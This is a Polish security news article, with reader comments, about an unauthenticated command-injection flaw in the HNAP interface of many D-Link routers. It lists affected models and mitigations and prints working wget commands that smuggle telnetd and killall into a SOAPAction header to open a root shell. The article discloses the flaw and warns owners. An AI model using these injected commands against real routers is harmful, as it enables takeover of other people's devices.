13.04.2015 | 22:04

Adam Haertle

Masz ruter D-Linka? Nie mamy dla Ciebie dobrych wiadomości

Kolejny zwykły dzień dla użytkowników domowych ruterów przynosi kolejne poważne błędy umożliwiające zdalne wykonanie kodu przez atakującego. Do tego producent nie załata tych błędów jeszcze przez wiele dni.

W co najmniej kilkunastu modelach ruterów D-Linka obecny jest bardzo poważny błąd pozwalający na przejęcie całkowitej kontroli nad urządzeniem. Na dokładkę podobno nie da się z nim nic zrobić dopóki producent nie wyda aktualizacji oprogramowania.

Tyle tych interfejsów

Niezawodny Craig z dev/ttyS0 tym razem zabrał się za flagowy model D-Linka, czyli DIR 890L, trójpasmowego, sześcioantenowego potwora za 1000 PLN. Po wypakowaniu oprogramowania urządzenia postanowił przyjrzeć się interfejsowi HNAP, służącemu do zarządzania ruterem przez operatora lub do konfiguracji urządzenia na etapie jego uruchamiania. Do tej pory błędy odkrywano głównie w interfejsach HTTP czy UPnP, zatem czas był już najwyższy znaleźć nowy wektor ataku.

Kosmiczny D-Link z komicznym błędem

Kosmiczny D-Link z komicznym błędem

Za obsługę wszystkich żądań do serwera WWW odpowiada jeden plik binarny. Jego analiza zajęła trochę czasu, ale jak zawsze się opłaciła. Craig znalazł polecenie, które korzystało z funkcji system i przyjmowało parametry od użytkownika. Pozostawało jeszcze tylko znaleźć sposób na ominiecie uwierzytelnienia. Okazało się, że istnieje furtka – w jednym ze scenariuszy oprogramowanie sprawdza, czy nagłówek żądania równy jest http://purenetworks.com/HNAP1/GetDeviceSettings, jednak ze względu na błąd weryfikacji zamiast weryfikować czy nagłówek zgadza się z tym ciągiem, sprawdza jedynie, czy się od niego zaczyna. Daje to możliwość skonstruowania takiego żądania do urządzenia, które nie będzie wymagało uwierzytelnienia i jednocześnie pozwoli na wykonanie dowolnego polecenia.

Można w ten sposób np. włączyć serwer telnetd, który domyślnie uruchamia się z uprawnieniami roota:

$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`telnetd`"' http://192.168.0.1/HNAP1
$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.

Jeśli ruter udostępnia interfejs administracyjny z zewnątrz możliwe jest zdalne przeprowadzenie ataku. Co prawda firewall zablokuje połączenie na domyślny port usługi telnet, wystarczy jednak ubić serwer WWW i uruchomić telnetd na tym samym porcie:

$ wget --header='SOAPAction: "http://purenetworks.com/HNAP1/GetDeviceSettings/`killall httpd; telnetd -p 8080`"' http://1.2.3.4:8080/HNAP1
$ telnet 1.2.3.4 8080
Trying 1.2.3.4...
Connected to 1.2.3.4.
Escape character is '^]'.
BusyBox v1.14.1 (2015-02-11 17:15:51 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.

Podatne urządzenia

Craig poprosił zaprzyjaźnioną firmę o ustalenie, które inne urządzenia zawierają ten sam błąd i otrzymał listę kilkunastu modeli. Z kolei D-Link opublikował tego samego dnia informację o tym samym błędzie, zgłoszonym przez innego badacza, Zhang Wei  z zespołu Qihoo360 ADLAB. Lista podatnych modeli wg D-Linka jest nieco inna niż lista Craiga, zatem na wszelki wypadek poniżej publikujemy kombinacje obu:

  • DAP-1522 revB
  • DAP-1650 revB
  • DIR-300 revB
  • DIR-600 revB
  • DIR-629 revA1 1.01
  • DIR-645
  • DIR-815 revB
  • DIR-816L revA1 2.05B02
  • DIR-817LW revB1 1.03B05
  • DIR-818LW revA1 1.04B03
  • DIR-820LW revB1 2.01
  • DIR-850L revB1 2.03B01
  • DIR-850L revA1 1.12B05
  • DIR-860L revA1 1.08B02
  • DIR-865L
  • DIR-868L A1 1.09B08
  • DIR-880L A1 1.02b13
  • DIR-890L A1 1.03b07
  • TEW-733GR
  • TEW-751DR

Niestety D-Link w swoim komunikacie dla niektórych modeli wskazuje tak odległe daty aktualizacji oprogramowania jak nawet koniec czerwca 2015 a interfejsu HNAP nie da się w żadne znany sposób wyłączyć. Pozostaje odcięcie rutera od dostępu z zewnątrz lub instalacja alternatywnego oprogramowania.

Powrót

Komentarze

  • 2015.04.13 22:45 uluw

    Sam miałem kiedyś śmiećlinka i nie wyobrażam sobie korzystania z niego bez *wrt. Przestali wydawać aktualizacje pół roku po zakupie, a newsy o furtkach pojawiały się co kilka miesięcy.
    Kupowanie sprzętu niewspieranego przez alternatywne firmware to proszenie się o kłopoty.

    Odpowiedz
  • 2015.04.13 22:46 MarcinSG

    Ten atak jest aż za prosty.

    Odpowiedz
  • 2015.04.14 01:04 Adam

    Za to „uwielbiam” praktyczną sferę telekomunikacyjną informatyki.
    Do lokalnej sieci domowej kupujesz komputer z Windowsem, który jest potencjalnym posiadaczem szeregu 0-dayów i błędów w sofcie producenckim (vide przypadek Lenovo).
    Kupujesz coś nagrywającego, co też ma dziury. Do tego dziurawy TV, jakieś kompletnie dziurawe kamerki IP i drukarki sieciowe.

    Trudno – myślisz sobie. TV ma wyświetlać obraz, komputer umożliwiać lajkowanie, drukarka wszak drukuje, kamerka podaje obraz, a Ethernet to takia ciekawostka – mogli się pomylić.

    Łączysz więc to w gwiazdę i zamiast switcha (lub obok) kupujesz do domu wypaśny router, którego JEDYNĄ funkcją jest właśnie umożliwienie komunikacji i zapewnienie bezpieczeństwa. A wychodzi co? Ano to… :D

    Wykopki by dopisały: #odwiecznabekazproducentowdziurawychrouterow

    Odpowiedz
    • 2015.04.14 07:47 Raf

      To jest przyszłość współdzielenia danych.

      Odpowiedz
  • 2015.04.14 13:23 LordBlick

    Cóż by tu dodać ? „Share is love”… :P

    Odpowiedz
  • 2015.04.14 16:57 dfhththt

    Niektóre te routery mają firmware nie rozwijany od dawna, czy jest szansa by wydali firmware z poprawkami, czy nie, bo oficjalnie postanowili nie rozwijać danego firmware już dawno temu i mają gdzieś użytkowników?

    Dodatkowo by skomplikować sprawę, niektóre routery z tej listy nie pozwalają na banalne wgranie firmware alternatywnego, bo trzeba się bawić w wiele rzeczy, kombinować trochę. Na YT takie filmiki z instrukcją po aż kilkanaście minut zajmują i korzystają tam ludzie z jakichś programów by najpierw wrzucić część plików na router, a później zrobić resztą, a na koniec cieszyć się firmware nowym. Dla 98% ludzi to będzie zbyt skomplikowane. To już lepiej kupić jakiś router tp-linka i wgrać firmware w 15 sekund.

    Odpowiedz
  • 2015.04.14 17:01 paradox

    Mam d-linka wymienionego na liście.
    D-link twierdzi że podatny jest soft 2.17B02 i starszy.
    Mój ruter twierdzi że wersja jego softu to 2.11 i nie ma nowszej.
    A http://support.dlink.com w ogóle nie pozwala ściągnąć firmware’u dla mojej wersji sprzętowej rutera.

    Jak żyć…?

    Odpowiedz
  • 2015.04.14 18:44 FRED

    Staruszek DIR-655 bezpieczny :)

    Odpowiedz
  • 2015.04.15 04:38 misi333k

    Bo na chipsecie, może topornym ale bezpiecznym, nie ma open source jest bezpiecznie w tym wypadku, ale co po dir 655 w standardzie AC ?? może jakiś ASUS w dobrej cenie 450+ ktoś coś poleci, odpornego na włamania jak poczciwy dir 655 którego mam już 6 lat i najwyższa pora zmienić

    Odpowiedz

Zostaw odpowiedź do uluw

Jeśli chcesz zwrócić uwagę na literówkę lub inny błąd techniczny, zapraszamy do formularza kontaktowego. Reagujemy równie szybko.

Masz ruter D-Linka? Nie mamy dla Ciebie dobrych wiadomości

Komentarze